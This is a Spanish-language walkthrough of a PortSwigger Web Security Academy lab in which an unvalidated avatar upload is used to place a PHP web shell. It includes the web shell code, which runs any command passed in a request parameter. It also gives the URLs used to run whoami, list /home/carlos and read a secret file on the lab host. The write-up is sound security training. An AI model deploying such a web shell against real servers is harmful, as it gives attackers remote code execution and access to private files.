Remote code execution via web shell upload
Laboratorio de Portswigger sobre File Upload Vulnerabilities
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una función de carga de imágenes vulnerable que no realiza ninguna validación en los archivos que los usuarios suben antes de almacenarlos en el sistema de archivos del servidor. Para resolver el laboratorio, debemos subir una web shell básica en PHP, usarla para extraer el contenido del archivo /home/carlos/secret y luego enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión en nuestra cuenta usando las siguientes credenciales: wiener:peter
Resolución
Al acceder a la web nos sale esto
Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter
Vemos que existe un campo de subida de archivos
Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images
Nos creamos un archivo llamado shell.php y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars
Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=whoami veremos que tenemos un RCE (Remote Code Execution)
Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos vemos un archivo llamado secret
Leemos la información de ese archivo con https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret
Pulsamos en Submit solution y mandamos nuestra solución









